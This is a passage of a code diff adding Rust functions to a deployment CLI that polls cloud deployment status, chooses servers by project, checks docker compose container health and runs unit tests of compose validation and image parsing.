creds)) +} + +fn fetch_server_for_project( + project_id: i32, + target: DeployTarget, + preferred_server_name: Option<&str>, +) -> Result, Box> { + use std::time::Duration; + + let (base_url, creds) = resolve_saved_stacker_base_url("server lookup")?; + + let rt = tokio::runtime::Builder::new_current_thread() + .enable_all() + .build()?; + + rt.block_on(async { + let client = StackerClient::new_for_target(&base_url, &creds.access_token, target.clone()); + + // Phase 1: wait for the deployment to reach a terminal state. + // The watch_cloud_deployment may have timed out, so the deployment + // could still be running. We give it another 10 minutes here. + let deploy_poll = Duration::from_secs(10); + let deploy_timeout = Duration::from_secs(600); + let deploy_start = std::time::Instant::now(); + let mut fallback_server_ip: Option = None; + + loop { + match client.get_deployment_status_by_project(project_id).await { + Ok(Some(info)) if is_terminal(&info.status) => { + fallback_server_ip = fallback_server_ip.or_else(|| { + info.status_message + .as_deref() + .and_then(extract_ipv4_from_text) + }); + if info.status != "completed" { + eprintln!( + " Deployment #{} finished with status '{}' — server IP may not be available.", + info.id, info.status + ); + } + break; + } + Ok(Some(info)) => { + fallback_server_ip = fallback_server_ip.or_else(|| { + info.status_message + .as_deref() + .and_then(extract_ipv4_from_text) + }); + if deploy_start.elapsed() > deploy_timeout { + eprintln!( + " Deployment #{} still '{}' after extended wait — saving what we have.", + info.id, info.status + ); + break; + } + eprintln!( + " Deployment still in progress ({}), waiting for IP...", + info.status_message + .as_deref() + .unwrap_or(&info.status), + ); + tokio::time::sleep(deploy_poll).await; + } + _ => break, // no deployment info available + } + } + + // Phase 2: deployment is terminal (or timed out) — poll for the server IP. + let ip_retries = 6; + let ip_delay = Duration::from_secs(10); + + for attempt in 0..ip_retries { + let servers = client.list_servers().await?; + + let server = choose_server_for_project(servers, project_id, preferred_server_name); + + match server { + Some(ref s) if s.srv_ip.is_some() => { + return Ok(server); + } + Some(mut s) if fallback_server_ip.is_some() => { + s.srv_ip = fallback_server_ip.clone(); + return Ok(Some(s)); + } + Some(_) if attempt < ip_retries - 1 => { + eprintln!( + " Server found but IP not yet assigned (attempt {}/{}), retrying in {}s...", + attempt + 1, + ip_retries, + ip_delay.as_secs(), + ); + tokio::time::sleep(ip_delay).await; + } + Some(s) => { + return Ok(Some(s)); + } + None if attempt < ip_retries - 1 => { + eprintln!( + " No server found for project {} (attempt {}/{}), retrying in {}s...", + project_id, + attempt + 1, + ip_retries, + ip_delay.as_secs(), + ); + tokio::time::sleep(ip_delay).await; + } + None => { + return Ok(None); + } + } + } + + Ok(None) + }) +} + +fn server_has_ip(server: &stacker_client::ServerInfo) -> bool { + server + .srv_ip + .as_deref() + .map(str::trim) + .is_some_and(|ip| !ip.is_empty()) +} + +fn choose_server_for_project( + servers: Vec, + project_id: i32, + preferred_server_name: Option<&str>, +) -> Option { + let mut matching: Vec = servers + .into_iter() + .filter(|server| server.project_id == project_id) + .collect(); + + if let Some(preferred_name) = preferred_server_name + .map(str::trim) + .filter(|name| !name.is_empty()) + { + if let Some(position) = matching.iter().position(|server| { + server.name.as_deref() == Some(preferred_name) && server_has_ip(server) + }) { + return Some(matching.remove(position)); + } + + if let Some(position) = matching + .iter() + .position(|server| server.name.as_deref() == Some(preferred_name)) + { + return Some(matching.remove(position)); + } + } + + if let Some(position) = matching.iter().position(server_has_ip) { + return Some(matching.remove(position)); + } + + matching.into_iter().next() +} + +// ── Local container health-check after `docker compose up` ─── + +/// Poll `docker compose ps` until all containers are running/healthy +/// or a timeout is reached. +fn watch_local_containers( + project_dir: &Path, + config_file: Option<&str>, + target_override: Option<&str>, +) -> Result<(), Box> { + use std::time::{Duration, Instant}; + + let compose_path = { + let output_dir = project_dir.join(OUTPUT_DIR); + let config_path = match config_file { + Some(f) => project_dir.join(f), + None => project_dir.join(DEFAULT_CONFIG_FILE), + }; + // Try to read compose_file from the resolved local target; fall back to + // .stacker/docker-compose.yml. + if let Ok(config) = StackerConfig::from_file(&config_path) + .and_then(|config| config.with_resolved_deploy_target(target_override)) + { + if let Some(ref existing) = config.deploy.compose_file { + let p = project_dir.join(existing); + if p.exists() { + p + } else { + output_dir.join("docker-compose.yml") + } + } else { + output_dir.join("docker-compose.yml") + } + } else { + output_dir.join("docker-compose.yml") + } + }; + + if !compose_path.exists() { + return Ok(()); + } + + let compose_str = compose_path.to_string_lossy().to_string(); + let executor = ShellExecutor; + let timeout = Duration::from_secs(120); + let poll = Duration::from_secs(3); + let start = Instant::now(); + + let spin = progress::spinner("Checking container health..."); + + loop { + let args = vec!["compose", "-f", &compose_str, "ps", "--format", "json"]; + if let Ok(output) = executor.execute("docker", &args) { + if output.success() { + let stdout = output.stdout.trim(); + if !stdout.is_empty() { + match parse_container_statuses(stdout) { + Some((running, total)) if total > 0 => { + progress::update_health(&spin, running, total); + if running == total { + progress::finish_success( + &spin, + &format!("All {}/{} containers running", running, total), + ); + // Show container summary + print_container_summary(&compose_str, &executor); + return Ok(()); + } + } + _ => {} + } + } + } + } + + if start.elapsed() > timeout { + progress::finish_error( + &spin, + "Timeout waiting for containers — check `stacker status`", + ); + return Ok(()); + } + + std::thread::sleep(poll); + } +} + +/// Parse `docker compose ps --format json` output and count running containers. +/// Returns `(running_count, total_count)`. +fn parse_container_statuses(json_str: &str) -> Option<(usize, usize)> { + // docker compose ps --format json outputs one JSON object per line, + // or a JSON array depending on the version. + let containers: Vec = if json_str.trim_start().starts_with('[') { + serde_json::from_str(json_str).ok()? + } else { + // One JSON object per line + json_str + .lines() + .filter_map(|line| serde_json::from_str::(line).ok()) + .collect() + }; + + let total = containers.len(); + let running = containers + .iter() + .filter(|c| { + let state = c.get("State").and_then(|v| v.as_str()).unwrap_or(""); + state == "running" + }) + .count(); + + Some((running, total)) +} + +/// Print a brief container summary table. +fn print_container_summary(compose_str: &str, executor: &dyn CommandExecutor) { + let args = vec!["compose", "-f", compose_str, "ps", "--format", "table"]; + if let Ok(output) = executor.execute("docker", &args) { + if output.success() && !output.stdout.trim().is_empty() { + eprintln!(); + eprint!("{}", output.stdout); + } + } +} + +// ── Cloud deployment status polling after remote deploy ────── + +/// Terminal statuses — once reached, watching stops. +const TERMINAL_STATUSES: &[&str] = &["completed", "failed", "cancelled", "error", "paused"]; + +fn is_terminal(status: &str) -> bool { + TERMINAL_STATUSES.iter().any(|s| *s == status) +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum DeploymentWatchOutcome { + Completed, + Failed, + Unknown, +} + +/// Watch remote deployment status until it reaches a terminal state. +fn watch_cloud_deployment( + result: &DeployResult, +) -> Result> { + use std::time::Duration; + + let (base_url, creds) = match resolve_saved_stacker_base_url("deployment status") { + Ok(values) => values, + Err(e) => { + eprintln!(" Cannot watch deployment status: {}", e); + eprintln!(" Run `stacker status --watch` later to check progress."); + return Ok(DeploymentWatchOutcome::Unknown); + } + }; + + let project_id = match result.project_id { + Some(id) => id as i32, + None => { + eprintln!(" No project ID — run `stacker status --watch` to check progress."); + return Ok(DeploymentWatchOutcome::Unknown); + } + }; + + eprintln!(); + let spin = progress::spinner("Watching deployment progress..."); + + let poll_interval = Duration::from_secs(5); + let timeout = Duration::from_secs(600); // 10 min max watch + + let rt = tokio::runtime::Builder::new_current_thread() + .enable_all() + .build()?; + + rt.block_on(async { + let client = + StackerClient::new_for_target(&base_url, &creds.access_token, result.target.clone()); + let start = std::time::Instant::now(); + let mut last_status = String::new(); + let mut last_message: Option = None; + + loop { + match client.get_deployment_status_by_project(project_id).await { + Ok(Some(info)) => { + let status_changed = info.status != last_status; + let message_changed = info.status_message != last_message; + if status_changed || message_changed { + let icon = progress::status_icon(&info.status); + progress::update_message( + &spin, + &format!( + "{} Deployment #{} — {}{}", + icon, + info.id, + info.status, + info.status_message + .as_ref() + .map(|m| format!(": {}", m)) + .unwrap_or_default(), + ), + ); + last_status = info.status.clone(); + last_message = info.status_message.clone(); + } + + if is_terminal(&info.status) { + if info.status == "completed" { + progress::finish_success( + &spin, + &format!("Deployment #{} completed", info.id), + ); + return Ok(DeploymentWatchOutcome::Completed); + } else { + let msg = info.status_message.as_deref().unwrap_or(&info.status); + progress::finish_error( + &spin, + &format!("Deployment #{} — {}", info.id, msg), + ); + return Ok(DeploymentWatchOutcome::Failed); + } + } + } + Ok(None) => { + if last_status.is_empty() { + progress::update_message(&spin, "Waiting for deployment to appear..."); + last_status = "".to_string(); + } + } + Err(e) => { + progress::finish_success( + &spin, + "Deployment request accepted; live status polling unavailable", + ); + eprintln!(" ⚠ Could not poll live deployment status: {}", e); + eprintln!(" Installation may still be in progress."); + eprintln!(" Run `stacker status --watch` to retry."); + return Ok(DeploymentWatchOutcome::Unknown); + } + } + + if start.elapsed() > timeout { + progress::finish_error(&spin, "Watch timeout (10m) — deployment still in progress"); + eprintln!(" Run `stacker status --watch` to continue watching."); + return Ok(DeploymentWatchOutcome::Unknown); + } + + tokio::time::sleep(poll_interval).await; + } + }) +} + +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ +// Tests +// ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ + +#[cfg(test)] +mod tests { + use super::*; + use crate::cli::credentials::FileCredentialStore; + use crate::cli::install_runner::CommandOutput; + use std::sync::Mutex; + use tempfile::TempDir; + + /// Mock executor that records commands and returns configurable output. + struct MockExecutor { + calls: Mutex)>>, + output: CommandOutput, + } + + impl MockExecutor { + fn success() -> Self { + Self { + calls: Mutex::new(Vec::new()), + output: CommandOutput { + exit_code: 0, + stdout: "ok".to_string(), + stderr: String::new(), + }, + } + } + } + + impl CommandExecutor for MockExecutor { + fn execute(&self, program: &str, args: &[&str]) -> Result { + self.calls.lock().unwrap().push(( + program.to_string(), + args.iter().map(|s| s.to_string()).collect(), + )); + Ok(self.output.clone()) + } + } + + /// Create a tempdir with a minimal stacker.yml for local deploy. + fn setup_local_project(files: &[(&str, &str)]) -> TempDir { + let dir = TempDir::new().unwrap(); + for (name, content) in files { + let path = dir.path().join(name); + if let Some(parent) = path.parent() { + std::fs::create_dir_all(parent).unwrap(); + } + std::fs::write(&path, content).unwrap(); + } + dir + } + + #[test] + fn test_scn_004_compose_image_services_register_as_remote_secret_targets() { + let dir = setup_local_project(&[( + "docker-compose.yml", + r#" +services: + app: + image: ghcr.io/example/device-api:1.0 + upload: + image: ghcr.io/example/upload:1.0 + ports: + - "8081:8080" + environment: + S3_BUCKET: "${S3_BUCKET}" + worker: + build: . + nginx_proxy_manager: + image: jc21/nginx-proxy-manager:latest +"#, + )]); + let config = StackerConfig { + name: "device-api".to_string(), + ..StackerConfig::default() + }; + + let services = extract_compose_secret_target_services( + dir.path().join("docker-compose.yml").as_path(), + &config, + ) + .unwrap(); + let service_names = services + .iter() + .map(|service| service.name.as_str()) + .collect::>(); + + assert_eq!(service_names, vec!["upload"]); + assert_eq!(services[0].image, "ghcr.io/example/upload:1.0"); + assert_eq!(services[0].ports, vec!["8081:8080"]); + } + + fn minimal_config_yaml() -> String { + "name: test-app\napp:\n type: static\n path: .\n".to_string() + } + + fn cloud_config_yaml() -> String { + "name: test-app\napp:\n type: static\n path: .\ndeploy:\n target: cloud\n cloud:\n provider: hetzner\n region: eu-central\n size: cpx11\n".to_string() + } + + fn server_config_yaml() -> String { + "name: test-app\napp:\n type: static\n path: .\ndeploy:\n target: server\n server:\n host: 1.2.3.4\n user: root\n port: 22\n".to_string() + } + + // ── Tests ──────────────────────────────────────── + + fn deploy_result_for_target(target: DeployTarget, project_id: Option) -> DeployResult { + DeployResult { + target, + message: "ok".to_string(), + server_ip: None, + deployment_id: None, + project_id, + server_name: None, + } + } + + fn server_info( + id: i32, + project_id: i32, + name: Option<&str>, + srv_ip: Option<&str>, + ) -> stacker_client::ServerInfo { + stacker_client::ServerInfo { + id, + user_id: "user".to_string(), + project_id, + cloud_id: Some(7), + cloud: Some("htz".to_string()), + region: Some("fsn1".to_string()), + zone: None, + server: Some("cpx22".to_string()), + os: Some("docker-ce".to_string()), + disk_type: None, + srv_ip: srv_ip.map(ToOwned::to_owned), + ssh_port: Some(22), + ssh_user: Some("root".to_string()), + name: name.map(ToOwned::to_owned), + vault_key_path: None, + connection_mode: "status_panel".to_string(), + key_status: "active".to_string(), + } + } + + #[test] + fn backup_key_authorization_runs_only_after_real_cloud_deploy_with_project_id() { + assert!(should_install_cloud_backup_key( + &deploy_result_for_target(DeployTarget::Cloud, Some(42)), + false + )); + assert!(!should_install_cloud_backup_key( + &deploy_result_for_target(DeployTarget::Cloud, Some(42)), + true + )); + assert!(!should_install_cloud_backup_key( + &deploy_result_for_target(DeployTarget::Local, Some(42)), + false + )); + assert!(!should_install_cloud_backup_key( + &deploy_result_for_target(DeployTarget::Server, Some(42)), + false + )); + assert!(!should_install_cloud_backup_key( + &deploy_result_for_target(DeployTarget::Cloud, None), + false + )); + } + + #[test] + fn choose_server_for_project_prefers_requested_server_name_with_ip() { + let servers = vec![ + server_info(1, 75, Some("old"), Some("203.0.113.10")), + server_info(2, 75, Some("coolify-current"), Some("203.0.113.42")), + server_info(3, 75, Some("coolify-current"), None), + ]; + + let selected = choose_server_for_project(servers, 75, Some("coolify-current")) + .expect("matching server should be selected"); + + assert_eq!(selected.id, 2); + assert_eq!(selected.srv_ip.as_deref(), Some("203.0.113.42")); + } + + #[test] + fn choose_server_for_project_ignores_other_projects_and_prefers_ip() { + let servers = vec![ + server_info(1, 10, Some("wrong-project"), Some("203.0.113.1")), + server_info(2, 75, Some("pending"), None), + server_info(3, 75, Some("ready"), Some("203.0.113.42")), + ]; + + let selected = choose_server_for_project(servers, 75, None) + .expect("server with IP should be selected"); + + assert_eq!(selected.id, 3); + } + + #[test] + fn extracts_server_ip_from_deployment_status_message() { + assert_eq!( + extract_ipv4_from_text("178.104.222.170: Copy files is done"), + Some("178.104.222.170".to_string()) + ); + assert_eq!(extract_ipv4_from_text("Deployment still in progress"), None); + assert_eq!( + extract_ipv4_from_text("invalid 999.104.222.170: message"), + None + ); + } + + #[test] + fn test_deploy_local_dry_run_generates_files() { + let dir = setup_local_project(&[ + ("index.html", "

hello

"), + ("stacker.yml", &minimal_config_yaml()), + ]); + let executor = MockExecutor::success(); + + let result = run_deploy( + dir.path(), + None, + Some("local"), + true, + false, + false, + &executor, + &RemoteDeployOverrides::default(), + "runc", + ); + assert!(result.is_ok()); + + // Generated files should exist + assert!(dir.path().join(".stacker/Dockerfile").exists()); + assert!(dir.path().join(".stacker/docker-compose.yml").exists()); + } + + #[test] + fn test_deploy_local_preserves_existing_dockerfile() { + let config = "name: test-app\napp:\n type: static\n path: .\n dockerfile: Dockerfile\n"; + let dir = setup_local_project(&[ + ("index.html", "

hello

"), + ("Dockerfile", "FROM custom:latest\nCOPY . /custom"), + ("stacker.yml", config), + ]); + let executor = MockExecutor::success(); + + let result = run_deploy( + dir.path(), + None, + Some("local"), + true, + false, + false, + &executor, + &RemoteDeployOverrides::default(), + "runc", + ); + assert!(result.is_ok()); + + // Custom Dockerfile should not be overwritten + let df = std::fs::read_to_string(dir.path().join("Dockerfile")).unwrap(); + assert!(df.contains("custom:latest")); + + // .stacker/Dockerfile should NOT be generated (app.dockerfile is set) + assert!(!dir.path().join(".stacker/Dockerfile").exists()); + } + + #[test] + fn test_deploy_local_uses_existing_compose() { + let config = "name: test-app\napp:\n type: static\n path: .\ndeploy:\n compose_file: docker-compose.yml\n"; + let dir = setup_local_project(&[ + ("index.html", "

hello

"), + ( + "docker-compose.yml", + "version: '3.8'\nservices:\n web:\n image: nginx\n", + ), + ("stacker.yml", config), + ]); + let executor = MockExecutor::success(); + + let result = run_deploy( + dir.path(), + None, + Some("local"), + true, + false, + false, + &executor, + &RemoteDeployOverrides::default(), + "runc", + ); + assert!(result.is_ok()); + + // .stacker/docker-compose.yml should NOT be generated + assert!(!dir.path().join(".stacker/docker-compose.yml").exists()); + } + + #[test] + fn test_deploy_creates_missing_dotenv_from_example_for_compose_env_file() { + let config = "name: test-app\napp:\n type: static\n path: .\ndeploy:\n compose_file: docker-compose.yml\n"; + let dir = setup_local_project(&[ + ("index.html", "

hello

"), + ( + "docker-compose.yml", + "services:\n web:\n image: nginx\n env_file: .env\n", + ), + (".env.example", "APP_ENV=production\n"), + ("stacker.yml", config), + ]); + let executor = MockExecutor::success(); + + let result = run_deploy( + dir.path(), + None, + Some("local"), + true, + false, + false, + &executor, + &RemoteDeployOverrides::default(), + "runc", + ); + + assert!(result.is_ok()); + let env_path = dir.path().join(".env"); + assert_eq!( + std::fs::read_to_string(&env_path).unwrap(), + "APP_ENV=production\n" + ); + #[cfg(unix)] + { + use std::os::unix::fs::PermissionsExt; + assert_eq!( + std::fs::metadata(&env_path).unwrap().permissions().mode() & 0o777, + 0o600 + ); + } + } + + #[test] + fn test_deploy_reports_missing_env_file_without_raw_bundle_error() { + let config = "name: test-app\napp:\n type: static\n path: .\ndeploy:\n compose_file: docker-compose.yml\n"; + let dir = setup_local_project(&[ + ( + "docker-compose.yml", + "services:\n web:\n image: nginx\n env_file: .env\n", + ), + ("stacker.yml", config), + ]); + let executor = MockExecutor::success(); + + let err = run_deploy( + dir.path(), + None, + Some("local"), + true, + false, + false, + &executor, + &RemoteDeployOverrides::default(), + "runc", + ) + .unwrap_err(); + + let msg = err.to_string(); + assert!(msg.contains("Missing env file referenced by compose env_file")); + assert!(msg.contains(".env.example")); + } + + #[test] + fn test_deploy_falls_back_when_configured_compose_missing() { + let config = "name: test-app\napp:\n type: static\n path: .\ndeploy:\n compose_file: stacker/docker-compose.yml\n"; + let dir = setup_local_project(&[ + ("index.html", "

hello

"), + ("stacker.yml", config), + ( + ".stacker/docker-compose.yml", + "services:\n app:\n image: nginx\n", + ), + ]); + let executor = MockExecutor::success(); + + let result = run_deploy( + dir.path(), + None, + Some("local"), + true, + false, + false, + &executor, + &RemoteDeployOverrides::default(), + "runc", + ); + assert!(result.is_ok()); + } + + #[test] + fn test_deploy_environment_override_uses_environment_compose() { + let config = r#" +name: device-api +app: + type: static + path: . +deploy: + target: local +"#; + let compose = r#" +services: + api: + image: device-api:latest + environment: + RUST_LOG: warning +"#; + let dir = setup_local_project(&[ + ("index.html", "

hello

"), + ("stacker.yml", config), + ("docker/production/compose.yml", compose), + ]); + let executor = MockExecutor::success(); + + let result = run_deploy_for_environment( + dir.path(), + None, + Some("local"), + Some("production"), + true, + false, + false, + &executor, + &RemoteDeployOverrides::default(), + "runc", + ); + + assert!(result.is_ok()); + assert!( + !dir.path().join(".stacker/docker-compose.yml").exists(), + "environment compose should be used instead of generating .stacker/docker-compose.yml" + ); + } + + #[test] + fn test_deploy_local_with_image_skips_build() { + let config = "name: test-app\napp:\n type: static\n path: .\n image: nginx:latest\n"; + let dir = setup_local_project(&[("stacker.yml", config)]); + let executor = MockExecutor::success(); + + let result = run_deploy( + dir.path(), + None, + Some("local"), + true, + false, + false, + &executor, + &RemoteDeployOverrides::default(), + "runc", + ); + assert!(result.is_ok()); + + // No Dockerfile should be generated (using image) + assert!(!dir.path().join(".stacker/Dockerfile").exists()); + } + + #[test] + fn test_deploy_cloud_requires_login() { + let dir = setup_local_project(&[("stacker.yml", &cloud_config_yaml())]); + let executor = MockExecutor::success(); + let store = FileCredentialStore::new(dir.path().join("credentials.json")); + let cred_manager = CredentialsManager::new(store); + + let result = run_deploy_with_credentials_manager( + dir.path(), + None, + None, + None, + true, + false, + false, + &executor, + &RemoteDeployOverrides::default(), + "runc", + &cred_manager, + ); + assert!(result.is_err()); + + let err = format!("{}", result.unwrap_err()); + assert!( + err.contains("Login required") || err.contains("login"), + "Expected login error, got: {}", + err + ); + } + + #[test] + fn test_deploy_cloud_requires_provider() { + // Cloud target but no cloud config + let config = "name: test-app\napp:\n type: static\n path: .\ndeploy:\n target: cloud\n"; + let dir = setup_local_project(&[("stacker.yml", config)]); + let executor = MockExecutor::success(); + + // This should fail at validation since no credentials exist + let result = run_deploy( + dir.path(), + None, + None, + true, + false, + false, + &executor, + &RemoteDeployOverrides::default(), + "runc", + ); + assert!(result.is_err()); + } + + #[test] + fn test_deploy_server_requires_host() { + let config = "name: test-app\napp:\n type: static\n path: .\ndeploy:\n target: server\n"; + let dir = setup_local_project(&[("stacker.yml", config)]); + let executor = MockExecutor::success(); + let store = FileCredentialStore::new(dir.path().join("credentials.json")); + let cred_manager = CredentialsManager::new(store); + cred_manager + .save(&StoredCredentials { + access_token: "test-token".to_string(), + refresh_token: None, + token_type: "Bearer".to_string(), + expires_at: chrono::Utc::now() + chrono::Duration::hours(1), + email: Some("test@example.com".to_string()), + server_url: Some("https://example.test".to_string()), + org: None, + domain: None, + }) + .unwrap(); + + let result = run_deploy_with_credentials_manager( + dir.path(), + None, + None, + None, + true, + false, + false, + &executor, + &RemoteDeployOverrides::default(), + "runc", + &cred_manager, + ); + assert!(result.is_err()); + + let err = format!("{}", result.unwrap_err()); + assert!( + err.contains("host") || err.contains("Host") || err.contains("server"), + "Expected server host error, got: {}", + err + ); + } + + #[test] + fn test_deploy_missing_config_file() { + let dir = TempDir::new().unwrap(); + let executor = MockExecutor::success(); + + let result = run_deploy( + dir.path(), + None, + None, + true, + false, + false, + &executor, + &RemoteDeployOverrides::default(), + "runc", + ); + assert!(result.is_err()); + + let err = format!("{}", result.unwrap_err()); + assert!( + err.contains("not found") || err.contains("Configuration"), + "Expected config not found error, got: {}", + err + ); + } + + #[test] + fn test_deploy_custom_file_flag() { + let dir = setup_local_project(&[ + ("index.html", "

hello

"), + ("custom.yml", &minimal_config_yaml()), + ]); + let executor = MockExecutor::success(); + + let result = run_deploy( + dir.path(), + Some("custom.yml"), + Some("local"), + true, + false, + false, + &executor, + &RemoteDeployOverrides::default(), + "runc", + ); + assert!(result.is_ok()); + } + + #[test] + fn test_deploy_force_rebuild() { + let dir = setup_local_project(&[ + ("index.html", "

hello

"), + ("stacker.yml", &minimal_config_yaml()), + ]); + let executor = MockExecutor::success(); + + // First deploy creates files + let result = run_deploy( + dir.path(), + None, + Some("local"), + true, + false, + false, + &executor, + &RemoteDeployOverrides::default(), + "runc", + ); + assert!(result.is_ok()); + + // Second deploy without force_rebuild should succeed (reuses existing files) + let result2 = run_deploy( + dir.path(), + None, + Some("local"), + true, + false, + false, + &executor, + &RemoteDeployOverrides::default(), + "runc", + ); + assert!(result2.is_ok()); + + // With force_rebuild should also succeed (regenerates files) + let result3 = run_deploy( + dir.path(), + None, + Some("local"), + true, + true, + false, + &executor, + &RemoteDeployOverrides::default(), + "runc", + ); + assert!(result3.is_ok()); + } + + #[test] + fn test_deploy_target_strategy_dispatch() { + // Validate that strategy_for returns the right type + let local = strategy_for(&DeployTarget::Local); + let cloud = strategy_for(&DeployTarget::Cloud); + let server = strategy_for(&DeployTarget::Server); + + // We can't check concrete types directly, but we can ensure + // validation behavior matches expectations: + let minimal_config = StackerConfig::from_str("name: test\napp:\n type: static\n").unwrap(); + + // Local always passes validation + assert!(local.validate(&minimal_config).is_ok()); + // Cloud fails without cloud config + assert!(cloud.validate(&minimal_config).is_err()); + // Server fails without server config + assert!(server.validate(&minimal_config).is_err()); + } + + #[test] + fn test_deploy_runs_pre_build_hook_noted() { + let config = + "name: test-app\napp:\n type: static\n path: .\nhooks:\n pre_build: ./build.sh\n"; + let dir = setup_local_project(&[("index.html", "

hello

"), ("stacker.yml", config)]); + let executor = MockExecutor::success(); + + // Dry-run should succeed (hooks are just noted, not executed in dry-run) + let result = run_deploy( + dir.path(), + None, + Some("local"), + true, + false, + false, + &executor, + &RemoteDeployOverrides::default(), + "runc", + ); + assert!(result.is_ok()); + } + + #[test] + fn test_fallback_hints_for_npm_ci_error() { + let hints = + fallback_troubleshooting_hints("failed to solve: /bin/sh -c npm ci --production"); + assert!(hints.iter().any(|h| h.contains("npm ci failed"))); + } + + #[test] + fn test_compose_app_build_source_reads_context_and_dockerfile() { + let dir = TempDir::new().unwrap(); + let compose_path = dir.path().join(".stacker").join("docker-compose.yml"); + std::fs::create_dir_all(compose_path.parent().unwrap()).unwrap(); + std::fs::write( + &compose_path, + "services:\n app:\n build:\n context: ..\n dockerfile: .stacker/Dockerfile\n", + ) + .unwrap(); + + let source = compose_app_build_source(&compose_path).unwrap(); + assert!(source.contains("context=")); + assert!(source.contains("dockerfile=")); + assert!(source.contains(".stacker/Dockerfile")); + } + + #[test] + fn test_build_troubleshoot_error_log_handles_missing_files() { + let dir = TempDir::new().unwrap(); + let log = build_troubleshoot_error_log(dir.path(), "docker compose failed"); + assert!(log.contains("docker compose failed")); + assert!(log.contains("(not found)")); + } + + #[test] + fn test_normalize_generated_compose_paths_fixes_stacker_context_and_version() { + let dir = TempDir::new().unwrap(); + let stacker_dir = dir.path().join(".stacker"); + std::fs::create_dir_all(&stacker_dir).unwrap(); + + let compose_path = stacker_dir.join("docker-compose.yml"); + let compose = r#" +version: "3.9" +services: + app: + build: + context: . + dockerfile: .stacker/Dockerfile +"#; + std::fs::write(&compose_path, compose).unwrap(); + + normalize_generated_compose_paths(&compose_path).unwrap(); + + let normalized = std::fs::read_to_string(&compose_path).unwrap(); + assert!(!normalized.contains("version:")); + assert!(normalized.contains("context: ..")); + assert!(normalized.contains("dockerfile: .stacker/Dockerfile")); + } + + #[test] + fn test_normalize_generated_compose_paths_adds_stacker_dockerfile_for_app_when_missing() { + let dir = TempDir::new().unwrap(); + let stacker_dir = dir.path().join(".stacker"); + std::fs::create_dir_all(&stacker_dir).unwrap(); + + let compose_path = stacker_dir.join("docker-compose.yml"); + let compose = r#" +services: + app: + build: + context: . +"#; + std::fs::write(&compose_path, compose).unwrap(); + + normalize_generated_compose_paths(&compose_path).unwrap(); + + let normalized = std::fs::read_to_string(&compose_path).unwrap(); + assert!(normalized.contains("context: ..")); + assert!(normalized.contains("dockerfile: .stacker/Dockerfile")); + } + + #[test] + fn test_validate_compose_for_deploy_allows_unique_published_ports() { + let dir = TempDir::new().unwrap(); + let compose_path = dir.path().join("docker-compose.yml"); + let compose = r#" +services: + web: + image: nginx:latest + ports: + - "80:80" + api: + image: ghcr.io/example/api:latest + ports: + - published: 8080 + target: 8080 +"#; + std::fs::write(&compose_path, compose).unwrap(); + + validate_compose_for_deploy(&compose_path).unwrap(); + } + + #[test] + fn test_validate_compose_for_deploy_rejects_duplicate_published_ports() { + let dir = TempDir::new().unwrap(); + let compose_path = dir.path().join("docker-compose.yml"); + let compose = r#" +services: + nginx-proxy-manager: + image: jc21/nginx-proxy-manager:latest + ports: + - "80:80" + - "81:81" + - "443:443" + nginx_proxy_manager: + image: jc21/nginx-proxy-manager:latest + ports: + - published: 80 + target: 80 + - published: 81 + target: 81 + - published: 443 + target: 443 +"#; + std::fs::write(&compose_path, compose).unwrap(); + + let err = validate_compose_for_deploy(&compose_path).unwrap_err(); + let msg = err.to_string(); + assert!(msg.contains("conflicting published host ports")); + assert!(msg.contains("port 80")); + assert!(msg.contains("nginx-proxy-manager")); + assert!(msg.contains("nginx_proxy_manager")); + } + + #[test] + fn test_validate_compose_for_deploy_allows_include_only_compose() { + let dir = TempDir::new().unwrap(); + let compose_path = dir.path().join("docker-compose.yml"); + let compose = r#" +include: + - ../../postgres/docker/local/compose.yml + - ../../website/docker/local/compose.yml +"#; + std::fs::write(&compose_path, compose).unwrap(); + + validate_compose_for_deploy(&compose_path).unwrap(); + } + + #[test] + fn test_collect_compose_image_refs_follows_includes_and_skips_build_services() { + let dir = TempDir::new().unwrap(); + let root_compose = dir.path().join("docker-compose.yml"); + let services_dir = dir.path().join("services"); + std::fs::create_dir_all(&services_dir).unwrap(); + let api_compose = services_dir.join("api.yml"); + let web_compose = services_dir.join("web.yml"); + + std::fs::write( + &root_compose, + "include:\n - services/api.yml\n - services/web.yml\n", + ) + .unwrap(); + std::fs::write( + &api_compose, + "services:\n api:\n image: optimum/syncopia-device-api:latest\n worker:\n image: ghcr.io/example/worker:latest\n", + ) + .unwrap(); + std::fs::write( + &web_compose, + "services:\n web:\n build: .\n image: optimum/syncopia-website:latest\n proxy:\n image: jc21/nginx-proxy-manager:latest\n", + ) + .unwrap(); + + let images = collect_compose_image_refs(&root_compose).unwrap(); + let collected: Vec = images.into_iter().map(|image| image.image).collect(); + + assert_eq!( + collected, + vec![ + "optimum/syncopia-device-api:latest".to_string(), + "ghcr.io/example/worker:latest".to_string(), + "jc21/nginx-proxy-manager:latest".to_string(), + ] + ); + } + + #[test] + fn test_parse_docker_hub_image_target_supports_official_namespaced_and_prefixed_images() { + let official = parse_docker_hub_image_target("postgres:17-alpine").unwrap(); + assert_eq!(official.namespace, None); + assert_eq!(official.repository, "postgres"); + assert_eq!(official.tag, "17-alpine"); + + let namespaced = parse_docker_hub_image_target("optimum/syncopia-device-api").unwrap(); + assert_eq!(namespaced.namespace.as_deref(), Some("optimum")); + assert_eq!(namespaced.repository, "syncopia-device-api"); + assert_eq!(namespaced.tag, "latest"); + + let prefixed = + parse_docker_hub_image_target("docker.io/optimum/syncopia-website:main").unwrap(); + assert_eq!(prefixed.namespace.as_deref(), Some("optimum")); + assert_eq!(prefixed.repository, "syncopia-website"); + assert_eq!(prefixed.tag, "main"); + + assert!( + parse_docker_hub_image_target("ghcr.io/optimum/syncopia-device-api:latest").is_none() + ); + } + + #[test] + fn test_registry_auth_candidates_ignore_official_public_images() { + let dir = TempDir::new().unwrap(); + let compose_path = dir.path().join("docker-compose.yml"); + let image_env = std::collections::BTreeMap::new(); + std::fs::write( + &compose_path, + "services:\n db:\n image: postgres:17\n api:\n image: optimum/syncopia-api:latest\n sidecar:\n image: ghcr.io/acme/sidecar:latest\n", + ) + .unwrap(); + + let candidates = collect_registry_auth_candidate_images(&compose_path, &image_env).unwrap(); + + assert_eq!( + candidates, + vec![ + "optimum/syncopia-api:latest".to_string(), + "ghcr.io/acme/sidecar:latest".to_string() + ] + ); + } + 